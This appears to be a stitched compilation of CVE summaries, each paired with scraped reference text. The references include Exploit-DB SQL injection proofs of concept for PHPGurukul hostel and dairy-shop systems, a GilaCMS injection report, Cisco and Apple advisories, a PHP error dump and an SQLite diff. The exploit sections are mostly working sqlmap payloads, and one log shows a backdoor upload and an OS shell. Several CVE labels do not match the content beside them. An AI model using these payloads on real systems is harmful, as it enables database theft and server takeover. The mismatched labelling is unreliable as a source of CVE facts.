PHPGurukul Hostel Management System v2.0 allows SQL injection via the id parameter in the full-profile.php file.

**Hostel Management System 2.0 - 'id' SQL Injection**

**Platform:****PHP**

**Date:****2020-01-06**

  

    # Exploit Title: Hostel Management System 2.0 - 'id' SQL Injection
    # Google Dork: intitle: "Hostel management system"
    # Date: 2020-01-03
    # Exploit Author: FULLSHADE
    # Vendor Homepage: https://phpgurukul.com
    # Software Link: https://phpgurukul.com/hostel-management-system/
    # Version: v2.0
    # Tested on: Windows
    # CVE : N/A
    
    Description:
    
    The Hostel Management System v2.0 application from PHPgurukul is vulnerable to
    SQL injection via the 'id' parameter on the full-profile.php page.
    
    ==================== 1. SQLi ====================
    
    http://10.0.0.214/Hostel%20management%20System%20Project/hostel/full-profile.php?id=1
    
    THe ?id parameter is vulnerable to SQL injection, it was also tested, and a un-authenticated
    user has the full ability to run system commands via --os-shell and fully compromise the system
    
    GET parameter 'id' is vulnerable.
    
    ---
    Parameter: id (GET)
        Type: boolean-based blind
        Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
        Payload: id=-3444' OR 1650=1650#
    
        Type: error-based
        Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: id=1' OR (SELECT 3801 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT (ELT(3801=3801,1))),0x71707a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- klCZ
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 OR time-based blind
        Payload: id=1' OR SLEEP(5)-- slKU
    
        Type: UNION query
        Title: MySQL UNION query (NULL) - 29 columns
        Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176627a71,0x63786c795a416371494752765744487a4e6443636e705076586e714d735a7053595a4b676b526157,0x71707a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    
    [14:20:08] [INFO] the file stager has been successfully uploaded on 'C:/xampp/htdocs/' - http://10.0.0.214:80/tmpulczr.php
    [14:20:08] [INFO] the backdoor has been successfully uploaded on 'C:/xampp/htdocs/' - http://10.0.0.214:80/tmpbjdvm.php
    [14:20:08] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
    os-shell> whoami
    do you want to retrieve the command standard output? [Y/n/a] y
    command standard output: 'john-pc\john'
    os-shell>

CVE-2020-5510: OffSec’s Exploit Database Archive

There was a flaw in the WordPress plugin, Email Subscribers & Newsletters before 4.3.1, that allowed SQL statements to be passed to the database in the hash parameter (a blind SQL injection vulnerability).

CVE-2019-20361

PHPGurukul Dairy Farm Shop Management System 1.0 is vulnerable to SQL injection, as demonstrated by the username parameter in index.php, the category and CategoryCode parameters in add-category.php, the CompanyName parameter in add-company.php, and the ProductName and ProductPrice parameters in add-product.php.

    # Exploit Title: Dairy Farm Shop Management System 1.0 - 'username' SQL Injection
    # Google Dork: N/A
    # Date: 2020-01-03
    # Exploit Author: Chris Inzinga
    # Vendor Homepage: https://phpgurukul.com/
    # Software Link: https://phpgurukul.com/dairy-farm-shop-management-system-using-php-and-mysql/
    # Version: v1.0
    # Tested on: Windows
    # CVE: N/A
    
    # The Dairy Farm Shop Management System 1.0 web application is vulnerable to 
    # SQL injection in multiple areas. The most severe of these is the username 
    # parameter on the login page as this injection can be done unauthenticated.
    
    
    ================================ 'username' - SQLi ================================
    
    POST /dfsms/index.php HTTP/1.1
    Host: 192.168.0.33
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.0.33/dfsms/index.php
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 34
    Connection: close
    Cookie: PHPSESSID=ogvk4oricas9oudnb7hb88kgjg
    Upgrade-Insecure-Requests: 1
    
    username=test&password=test&login=
    
    ---
    Parameter: username (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: username=test' AND (SELECT 5667 FROM (SELECT(SLEEP(5)))mKGL) AND 'UlkV'='UlkV&password=test&login=
    ---
    [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.12
    
    
    
    ================================ 'category' & 'categorycode' - SQLi ================================
    
    POST /dfsms/add-category.php HTTP/1.1
    Host: 192.168.0.33
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.0.33/dfsms/add-category.php
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 39
    Connection: close
    Cookie: PHPSESSID=ogvk4oricas9oudnb7hb88kgjg
    Upgrade-Insecure-Requests: 1
    
    category=test&categorycode=test&submit=
    
    ---
    Parameter: category (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: category=test' AND (SELECT 8892 FROM (SELECT(SLEEP(5)))WzFH) AND 'NELe'='NELe&categorycode=test&submit=
    ---
    [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.12
    
    ---
    Parameter: categorycode (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: category=test&categorycode=test' AND (SELECT 9140 FROM (SELECT(SLEEP(5)))bzQA) AND 'izaK'='izaK&submit=
    ---
    [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.12
    
    
    
    ================================ 'companyname' - SQLi ================================
    
    ---
    Parameter: companyname (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: companyname=test' AND (SELECT 7565 FROM (SELECT(SLEEP(5)))znna) AND 'bEUm'='bEUm&submit=
    ---
    [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.12
    
    
    
    ================================ 'productname' & 'productprice' - SQLi ================================
    
    ---
    Parameter: productname (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: category=Milk&company=Amul&productname=test' AND (SELECT 1171 FROM (SELECT(SLEEP(5)))rlQI) AND 'RgaN'='RgaN&productprice=test&submit=
    ---
    ---
    Parameter: productprice (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: category=Milk&company=Amul&productname=test&productprice=test' AND (SELECT 8940 FROM (SELECT(SLEEP(5)))BRuk) AND 'Imqh'='Imqh&submit=
    ---
    [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.12
    
    
    
    ================================ 'fromdate' & 'todate' - SQLi ================================
    
    ---
    Parameter: todate (POST)
        Type: boolean-based blind
        Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
        Payload: fromdate=2020-01-05&todate=-6737' OR 3099=3099#&submit=
    
        Type: error-based
        Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: fromdate=2020-01-05&todate=2020-01-31' OR (SELECT 3665 FROM(SELECT COUNT(*),CONCAT(0x7162766271,(SELECT (ELT(3665=3665,1))),0x716a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- mqby&submit=
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: fromdate=2020-01-05&todate=2020-01-31' AND (SELECT 5717 FROM (SELECT(SLEEP(5)))adaE)-- cLAK&submit=
    
        Type: UNION query
        Title: MySQL UNION query (NULL) - 5 columns
        Payload: fromdate=2020-01-05&todate=2020-01-31' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7162766271,0x666369456150614b454a4f51454e6e687449724a786445585455515a67614162754545716d476f6f,0x716a7a7171),NULL#&submit=
    
    Parameter: fromdate (POST)
        Type: error-based
        Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: fromdate=2020-01-05' AND (SELECT 7128 FROM(SELECT COUNT(*),CONCAT(0x7162766271,(SELECT (ELT(7128=7128,1))),0x716a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Tzxh&todate=2020-01-31&submit=
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: fromdate=2020-01-05' AND (SELECT 7446 FROM (SELECT(SLEEP(5)))Aklw)-- uzkF&todate=2020-01-31&submit=
    ---
    
    
    
    ================================ 'mobilenumber' & 'emailid' & 'adminname' - SQLi ================================
    
    ---
    Parameter: emailid (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: adminname=Admin&username=admin&emailid=admin@test.com' AND (SELECT 5884 FROM (SELECT(SLEEP(5)))EgFJ) AND 'kFGt'='kFGt&mobilenumber=1234567899&update=
    ---
    ---
    Parameter: adminname (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: adminname=Admin' AND (SELECT 5969 FROM (SELECT(SLEEP(5)))vpfG) AND 'kOJS'='kOJS&username=admin&emailid=admin@test.com&mobilenumber=1234567899&update=
    ---
    ---
    Parameter: mobilenumber (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: adminname=Admin&username=admin&emailid=admin@test.com&mobilenumber=1234567899' AND (SELECT 1163 FROM (SELECT(SLEEP(5)))rdwj) AND 'mnwu'='mnwu&update=
    ---

CVE-2020-5307: OffSec’s Exploit Database Archive

Gila CMS 1.11.8 allows /admin/sql?query= SQL Injection.

Skip to content

**Product Owner:** GilaCMS

**Application Name:** GilaCMS 1.11.8

**CVE ID:** CVE-2020-5515

**Type:** Installable/Customer-Controlled Application

**Application Release Date:** 4th December,2019

**Severity:** High

**Authentication:** Required

**Complexity:** Easy

**Vulnerability Name:** SQL Injection in ‘/admin/sql?query=’

**Vulnerability Explanation:** SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database.

**Verified In:**  
Firefox 71.0 (64-bit)  
Windows 10  
Hosted using XAMPP v3.2.4

**Request:**  
GET /gilacms/admin/sql?query={INJECTION_POINT} HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie: GSESSIONID=1za7iusvgawzjs936iegtmmtwfghbbp6ectnugwb0clvc0z37u  
Upgrade-Insecure-Requests: 1

**Steps to Reproduce:**  
1\. Login to the GilaCMS application as admin.  
2\. Visit the following page: http://localhost/gilacms/admin/sql  

3\. Click on ‘Show Tables’. It takes us to http://localhost/gilacms/admin/sql?query=SHOW%20TABLES  

4\. The ‘query’ parameter is vulnerable to SQL injection (Inline Queries)  
http://localhost/gilacms/admin/sql?query=SELECT VERSION(),USER()  
  

http://localhost/gilacms/admin/sql?query=SELECT \* FROM user  

**Vulnerable Code:**  
The ‘query’ parameter sent in the GET request (http://localhost/gilacms/admin/sql) is vulnerable to SQL Injection.  

**Reference:**  
**Website:** https://gilacms.com/  
**GitHub Repository:** https://github.com/GilaCMS/gila  
**Download Version:** https://github.com/GilaCMS/gila/releases/tag/1.11.8

**Post navigation**

CVE-2020-5515: GilaCMS 1.11.8 – ‘/admin/sql?query=’ SQL Injection

Multiple vulnerabilities in the REST and SOAP API endpoints of Cisco Data Center Network Manager (DCNM) could allow an authenticated, remote attacker to execute arbitrary SQL commands on an affected device. To exploit these vulnerabilities, an attacker would need administrative privileges on the DCNM application. For more information about these vulnerabilities, see the Details section of this advisory. Note: The severity of these vulnerabilities is aggravated by the vulnerabilities described in the Cisco Data Center Network Manager Authentication Bypass Vulnerabilities advisory, published simultaneously with this one.

*   Cisco has released free software updates that address the vulnerabilities described in this advisory. Customers may only install and expect support for software versions and feature sets for which they have purchased a license. By installing, downloading, accessing, or otherwise using such software upgrades, customers agree to follow the terms of the Cisco software license:  
    https://www.cisco.com/c/en/us/products/end-user-license-agreement.html
    
    Additionally, customers may only download software for which they have a valid license, procured from Cisco directly, or through a Cisco authorized reseller or partner. In most cases this will be a maintenance upgrade to software that was previously purchased. Free security software updates do not entitle customers to a new software license, additional software feature sets, or major revision upgrades.
    
    When considering software upgrades, customers are advised to regularly consult the advisories for Cisco products, which are available from the Cisco Security Advisories and Alerts page, to determine exposure and a complete upgrade solution.
    
    In all cases, customers should ensure that the devices to be upgraded contain sufficient memory and confirm that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, customers are advised to contact the Cisco Technical Assistance Center (TAC) or their contracted maintenance providers.
    
    **Customers Without Service Contracts**
    
    Customers who purchase directly from Cisco but do not hold a Cisco service contract and customers who make purchases through third-party vendors but are unsuccessful in obtaining fixed software through their point of sale should obtain upgrades by contacting the Cisco TAC:  
    https://www.cisco.com/c/en/us/support/web/tsd-cisco-worldwide-contacts.html
    
    Customers should have the product serial number available and be prepared to provide the URL of this advisory as evidence of entitlement to a free upgrade.
    
    **Fixed Releases**
    
    Cisco fixed these vulnerabilities in Cisco DCNM Software releases 11.3(1) and later.
    
    To download the software from the Software Center on Cisco.com, do the following:
    
    1.  Click **Browse All**.
    2.  Choose **Cloud and Systems Management > Data Center Infrastructure Management > Data Center Network Manager**.
    3.  Choose a release from the left pane of the Data Center Network Manager page.

CVE-2019-15984: Cisco Security Advisory: Cisco Data Center Network Manager SQL Injection Vulnerabilities

Codoforum 4.8.3 allows XSS via a post using parameters display name, title name, or content.

  
**Notice**: Trying to access array offset on value of type bool in **/home/mainpage/domains/codologic.private-server.stream/public\_html/forum/sys/Controller/forum.php** on line **199**

**Fatal error**: Uncaught PDOException: SQLSTATE\[42000\]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'AND t.topic\_status <> 0 AND ( EXISTS (SELECT 1 FROM codo\_permissions AS per...' at line 3 in /home/mainpage/domains/codologic.private-server.stream/public\_html/forum/sys/CODOF/Forum/Category.php:214 Stack trace: #0 /home/mainpage/domains/codologic.private-server.stream/public\_html/forum/sys/CODOF/Forum/Category.php(214): PDO->query('SELECT COUNT(t....') #1 /home/mainpage/domains/codologic.private-server.stream/public\_html/forum/sys/Controller/forum.php(200): CODOF\\Forum\\Category->get\_total\_num\_topics(NULL) #2 /home/mainpage/domains/codologic.private-server.stream/public\_html/forum/routes.php(483): Controller\\forum->category('news-and-announ...', 1) #3 \[internal function\]: {closure}('news-and-announ...') #4 /home/mainpage/domains/codologic.private-server.stream/public\_html/forum/sys/CODOF/Router/ in **/home/mainpage/domains/codologic.private-server.stream/public\_html/forum/sys/CODOF/Forum/Category.php** on line **214**

CVE-2020-5306

selectExpander in select.c in SQLite 3.30.1 proceeds with WITH stack unwinding even after a parsing error.

@@ -1,5 +1,5 @@

C Remove\\sa\\sNEVER()\\sthat\\sis\\sno\\slonger\\strue.\\sFix\\sfor\\s\[36ffedcb9\].

D 2019-12-27T20:06:32.777

C Do\\snot\\sattempt\\sto\\sunwind\\sthe\\sWITH\\sstack\\sin\\sthe\\sParse\\sobject\\sfollowing\\san\\serror.\\sThis\\sfixes\\sa\\sseparate\\scase\\sto\\s\[de6e6d68\].

D 2019-12-27T20:54:42.382

F .fossil-settings/empty-dirs dbb81e8fc0401ac46a1491ab34a7f2c7c0452f2f06b54ebb845d024ca8283ef1

F .fossil-settings/ignore-glob 35175cdfcf539b2318cb04a9901442804be81cd677d8b889fcc9149c21f239ea

F LICENSE.md df5091916dbb40e6e9686186587125e1b2ff51f022cc334e886c19a0e9982724

@@ -528,7 +528,7 @@ F src/printf.c 9be6945837c839ba57837b4bc3af349eba630920fa5532aa518816defe42a7d4

F src/random.c 80f5d666f23feb3e6665a6ce04c7197212a88384

F src/resolve.c e231da7dd307f99772c40e76096abaf05c6fedcb4f1f045de23a61c194df6da6

F src/rowset.c d977b011993aaea002cab3e0bb2ce50cf346000dff94e944d547b989f4b1fe93

F src/select.c 83e3aba723cd50134b8af4b18433f46123c31889a39c8b4ac28cccedbdf070e8

F src/select.c e18a64e8d9f468ce9c183ab27ad79658b2aad8128e0dcfcd0c5dfe0132fc1074

F src/shell.c.in 4a3a9e1c11847b1904f2b01d087af1c052f660902755abab457cab1756817ded

F src/sqlite.h.in 2a23e8161775253d9cf383c2c6aa559005dc787d350dcb0be67a6c4cc3bd1d19

F src/sqlite3.rc 5121c9e10c3964d5755191c80dd1180c122fc3a8

@@ -638,7 +638,7 @@ F test/altermalloc.test 167a47de41b5c638f5f5c6efb59784002b196fff70f98d9b4ed3cd74

F test/altermalloc2.test fa7b1c1139ea39b8dec407cf1feb032ca8e0076bd429574969b619175ad0174b

F test/altertab.test 4d8b79b0b88b62b90b710390df14fe99e0a3578345526886eaa550e28e3065dc

F test/altertab2.test 8883693952f6d7fb5f754dbf1d694ed780aa883027bef04cb1fb99a3b88c9272

F test/altertab3.test 10c32d6251344bdc114d2df27e62cb72b5afc676f20709224d362d0cff0aa3e3

F test/altertab3.test d58d41201afd64c6176dcc4e71110c600c03841dad1efcc354de2248f6126e70

F test/amatch1.test b5ae7065f042b7f4c1c922933f4700add50cdb9f

F test/analyze.test 547bb700f903107b38611b014ca645d6b5bb819f5210d7bf39c40802aafeb7d7

F test/analyze3.test 01f0b122e3e54ad2544f14f7cc7dcb4c2cb8753cad5e88c6b8d49615b3fd6a2b

@@ -1853,7 +1853,7 @@ F vsixtest/vsixtest.tcl 6a9a6ab600c25a91a7acc6293828957a386a8a93

F vsixtest/vsixtest.vcxproj.data 2ed517e100c66dc455b492e1a33350c1b20fbcdc

F vsixtest/vsixtest.vcxproj.filters 37e51ffedcdb064aad6ff33b6148725226cd608e

F vsixtest/vsixtest\_TemporaryKey.pfx e5b1b036facdb453873e7084e1cae9102ccc67a0

P e3b5fc05c00fc58be7a7c94ce1d97a5b05113f39aba03df64aab08364f85616b

R a966e346a033c0ab1a88c0d109a734aa

P 597896ed0ae9e2960a8f39576bd7f77a11dccc1da84b6a44ebb5c38d90ebc330

R e2fa6fb2e144752a1d4a9d45874c1bd9

U dan

Z ba0d31a3cdb9b737f0aa85ce7fe964a5

Z e36f281614de7335dc6fbd6aa6abfc9f

CVE-2019-20218: Do not attempt to unwind the WITH stack in the Parse object following… · sqlite/sqlite@a6c1a71

The Postie plugin 1.9.40 for WordPress allows XSS, as demonstrated by a certain payload with jaVasCript:/* at the beginning and a crafted SVG element.

CVE-2019-20204: Postie

An authentication issue was addressed with improved state management. This issue is fixed in macOS Mojave 10.14.5. A user may be unexpectedly logged in to another user’s account.

Released May 13, 2019

**Accessibility Framework**

Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14.4

Impact: An application may be able to read restricted memory

Description: A validation issue was addressed with improved input sanitization.

CVE-2019-8603: Phoenhex and qwerty (@\_niklasb, @qwertyoruiopz, @bkth\_) working with Trend Micro's Zero Day Initiative

**AMD**

Available for: macOS Mojave 10.14.4

Impact: An application may be able to execute arbitrary code with system privileges

Description: A memory corruption issue was addressed with improved memory handling.

CVE-2019-8635: Lilang Wu and Moony Li of TrendMicro Mobile Security Research Team working with Trend Micro's Zero Day Initiative

**Application Firewall**

Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14.4

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A logic issue was addressed with improved restrictions.

CVE-2019-8590: The UK’s National Cyber Security Centre (NCSC)

**Archive Utility**

Available for: macOS Mojave 10.14.4

Impact: A sandboxed process may be able to circumvent sandbox restrictions

Description: A logic issue was addressed with improved validation.

CVE-2019-8640: Ash Fox of Fitbit Product Security

Entry added August 1, 2019

**Bluetooth**

Available for: macOS Mojave 10.14.4

Impact: Due to a misconfiguration in the Bluetooth pairing protocols of a Bluetooth Low Energy (BLE) version of FIDO Security Keys it may be possible for an attacker with physical proximity to be able to intercept Bluetooth traffic during pairing

Description: This issue was addressed by disabling accessories with insecure Bluetooth connections. Customers using the Bluetooth Low Energy (BLE) version of the Titan Security Key by Google should review Android’s June Bulletins and Google’s advisory and take appropriate action.

CVE-2019-2102: Matt Beaver and Erik Peterson of Microsoft Corp.

Entry added September 17, 2019

**CoreAudio**

Available for: macOS Sierra 10.12.6, macOS Mojave 10.14.4, macOS High Sierra 10.13.6

Impact: Processing a maliciously crafted audio file may lead to arbitrary code execution

Description: A memory corruption issue was addressed with improved error handling.

CVE-2019-8592: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative

Entry updated October 8, 2019

**CoreAudio**

Available for: macOS Mojave 10.14.4

Impact: Processing a maliciously crafted movie file may lead to arbitrary code execution

Description: An out-of-bounds read was addressed with improved input validation.

CVE-2019-8585: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative

**CoreText**

Available for: macOS Mojave 10.14.4

Impact: Processing a maliciously crafted font may result in the disclosure of process memory

Description: An out-of-bounds read was addressed with improved bounds checking.

CVE-2019-8582: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative

Entry added July 25, 2019

**DesktopServices**

Available for: macOS Mojave 10.14.4

Impact: A malicious application may bypass Gatekeeper checks

Description: This issue was addressed with improved checks.

CVE-2019-8589: Andreas Clementi, Stefan Haselwanter, and Peter Stelzhammer of AV-Comparatives

**Disk Images**

Available for: macOS Sierra 10.12.6, macOS Mojave 10.14.4, macOS High Sierra 10.13.6

Impact: An application may be able to read restricted memory

Description: A validation issue was addressed with improved input sanitization.

CVE-2019-8560: Nikita Pupyshev of Bauman Moscow State Technological University

Entry updated May 14, 2019

**EFI**

Available for: macOS Mojave 10.14.4

Impact: A user may be unexpectedly logged in to another user’s account

Description: An authentication issue was addressed with improved state management.

CVE-2019-8634: Jenny Sprenger and Maik Hoepfel

**Intel Graphics Driver**

Available for: macOS Mojave 10.14.4

Impact: An application may be able to execute arbitrary code with system privileges

Description: A memory corruption issue was addressed with improved memory handling.

CVE-2019-8616: Lilang Wu and Moony Li of Trend Micro Mobile Security Research Team working with Trend Micro's Zero Day Initiative

**Intel Graphics Driver**

Available for: macOS High Sierra 10.13.6, macOS Mojave 10.14.4

Impact: An application may be able to execute arbitrary code with system privileges

Description: A memory initialization issue was addressed with improved memory handling.

CVE-2019-8629: Arash Tohidi of Solita Oy

**IOAcceleratorFamily**

Available for: macOS High Sierra 10.13.6

Impact: An application may be able to execute arbitrary code with system privileges

Description: A memory corruption issue was addressed with improved memory handling.

CVE-2018-4456: Tyler Bohan of Cisco Talos

**IOKit**

Available for: macOS High Sierra 10.13.6, macOS Mojave 10.14.4

Impact: A local user may be able to load unsigned kernel extensions

Description: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.

CVE-2019-8606: Phoenhex and qwerty (@\_niklasb, @qwertyoruiopz, @bkth\_) working with Trend Micro's Zero Day Initiative

**Kernel**

Available for: macOS Mojave 10.14.4, macOS High Sierra 10.13.6

Impact: An application may be able to read restricted memory

Description: A validation issue was addressed with improved input sanitization.

CVE-2019-8633: Zhuo Liang of Qihoo 360 Vulcan Team

Entry added July 25, 2019, updated September 17, 2019

**Kernel**

Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A memory corruption issue was addressed with improved state management.

CVE-2019-8525: Zhuo Liang and shrek\_wzw of Qihoo 360 Nirvan Team

Entry added May 14, 2019

**Kernel**

Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6

Impact: A remote attacker may be able to leak memory

Description: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed with improved input validation.

CVE-2019-8547: derrek (@derrekr6)

Entry added May 14, 2019

**Kernel**

Available for: macOS Mojave 10.14.4

Impact: A local user may be able to cause unexpected system termination or read kernel memory

Description: An out-of-bounds read was addressed with improved bounds checking.

CVE-2019-8576: Brandon Azad of Google Project Zero, Junho Jang and Hanul Choi of LINE Security Team

Entry updated May 30, 2019

**Kernel**

Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14.4

Impact: An application may be able to cause unexpected system termination or write kernel memory

Description: A type confusion issue was addressed with improved memory handling.

CVE-2019-8591: Ned Williamson working with Google Project Zero

**Messages**

Available for: macOS Mojave 10.14.4

Impact: A remote attacker may be able to cause a system denial of service

Description: An input validation issue was addressed with improved input validation.

CVE-2019-8573: natashenka of Google Project Zero

Entry added July 3, 2019

**Messages**

Available for: macOS Mojave 10.14.4

Impact: Users removed from an iMessage conversation may still be able to alter state

Description: A logic issue was addressed with improved state management.

CVE-2019-8631: Jamie Bishop of Dynastic

Entry added August 1, 2019

**Microcode**

Available for: macOS Mojave 10.14.4

Impact: Load ports, fill buffers, and store buffers in systems with microprocessors utilizing speculative execution may allow an attacker with local user access to potentially enable information disclosure via a side channel

Description: Multiple information disclosure issues were addressed partially by updating the microcode and changing the OS scheduler to isolate the system from web content running in the browser. To completely address these issues, there are additional opt-in mitigations to disable hyper threading and enable microcode-based mitigations for all processes by default. Details of the mitigations can be found at https://support.apple.com/kb/HT210107.

CVE-2018-12126: Ke Sun, Henrique Kawakami, Kekai Hu, and Rodrigo Branco from Intel; Lei Shi - Qihoo 360 CERT; Marina Minkin; Daniel Genkin from University of Michigan; and Yuval Yarom from University of Adelaide

CVE-2018-12127: Brandon Falk from Microsoft Windows Platform Security Team; and Ke Sun, Henrique Kawakami, Kekai Hu, and Rodrigo Branco from Intel

CVE-2018-12130: Giorgi Maisuradze from Microsoft Research; Ke Sun, Henrique Kawakami, Kekai Hu, and Rodrigo Branco from Intel; Moritz Lipp, Michael Schwarz, and Daniel Gruss from Graz University of Technology; Stephan van Schaik, Alyssa Milburn, Sebastian Osterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos, and Cristiano Giuffrida from VUSec group at VU Amsterdam; Volodymyr Pikhur; and Dan Horea Lutas from BitDefender

CVE-2019-11091: Ke Sun, Henrique Kawakami, Kekai Hu, and Rodrigo Branco from Intel; and Moritz Lipp, Michael Schwarz, and Daniel Gruss from Graz University of Technology

Entry added May 14, 2019

**Security**

Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14.4

Impact: An application may be able to execute arbitrary code with system privileges

Description: A memory corruption issue was addressed with improved memory handling.

CVE-2019-8604: Fluoroacetate working with Trend Micro's Zero Day Initiative

**SQLite**

Available for: macOS Mojave 10.14.4

Impact: An application may be able to gain elevated privileges

Description: An input validation issue was addressed with improved memory handling.

CVE-2019-8577: Omer Gull of Checkpoint Research

**SQLite**

Available for: macOS Mojave 10.14.4

Impact: A maliciously crafted SQL query may lead to arbitrary code execution

Description: A memory corruption issue was addressed with improved input validation.

CVE-2019-8600: Omer Gull of Checkpoint Research

**SQLite**

Available for: macOS Mojave 10.14.4

Impact: A malicious application may be able to read restricted memory

Description: An input validation issue was addressed with improved input validation.

CVE-2019-8598: Omer Gull of Checkpoint Research

**SQLite**

Available for: macOS Mojave 10.14.4

Impact: A malicious application may be able to elevate privileges

Description: A memory corruption issue was addressed by removing the vulnerable code.

CVE-2019-8602: Omer Gull of Checkpoint Research

**StreamingZip**

Available for: macOS Mojave 10.14.4

Impact: A local user may be able to modify protected parts of the file system

Description: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.

CVE-2019-8568: Dany Lisiansky (@DanyL931)

**sysdiagnose**

Available for: macOS Sierra 10.12.6, macOS Mojave 10.14.4, macOS High Sierra 10.13.6

Impact: An application may be able to execute arbitrary code with system privileges

Description: The issue was addressed with improved permissions logic.

CVE-2019-8574: Dayton Pidhirney (@\_watbulb) of Seekintoo (@seekintoo)

Entry updated March 26, 2021

**Touch Bar Support**

Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6

Impact: An application may be able to execute arbitrary code with system privileges

Description: A memory corruption issue was addressed with improved memory handling.

CVE-2019-8569: Viktor Oreshkin (@stek29)

**WebKit**

Available for: macOS Mojave 10.14.4

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: Multiple memory corruption issues were addressed with improved memory handling.

CVE-2019-6237: G. Geshev working with Trend Micro Zero Day Initiative, Liu Long of Qihoo 360 Vulcan Team

CVE-2019-8571: 01 working with Trend Micro's Zero Day Initiative

CVE-2019-8583: sakura of Tencent Xuanwu Lab, jessica (@babyjess1ca\_) of Tencent Keen Lab, and dwfault working at ADLab of Venustech

CVE-2019-8584: G. Geshev of MWR Labs working with Trend Micro Zero Day Initiative

CVE-2019-8586: an anonymous researcher

CVE-2019-8587: G. Geshev working with Trend Micro Zero Day Initiative

CVE-2019-8594: Suyoung Lee and Sooel Son of KAIST Web Security & Privacy Lab and HyungSeok Han and Sang Kil Cha of KAIST SoftSec Lab

CVE-2019-8595: G. Geshev from MWR Labs working with Trend Micro Zero Day Initiative

CVE-2019-8596: Wen Xu of SSLab at Georgia Tech

CVE-2019-8597: 01 working with Trend Micro Zero Day Initiative

CVE-2019-8601: Fluoroacetate working with Trend Micro's Zero Day Initiative

CVE-2019-8608: G. Geshev working with Trend Micro Zero Day Initiative

CVE-2019-8609: Wen Xu of SSLab, Georgia Tech

CVE-2019-8610: Anonymous working with Trend Micro Zero Day Initiative

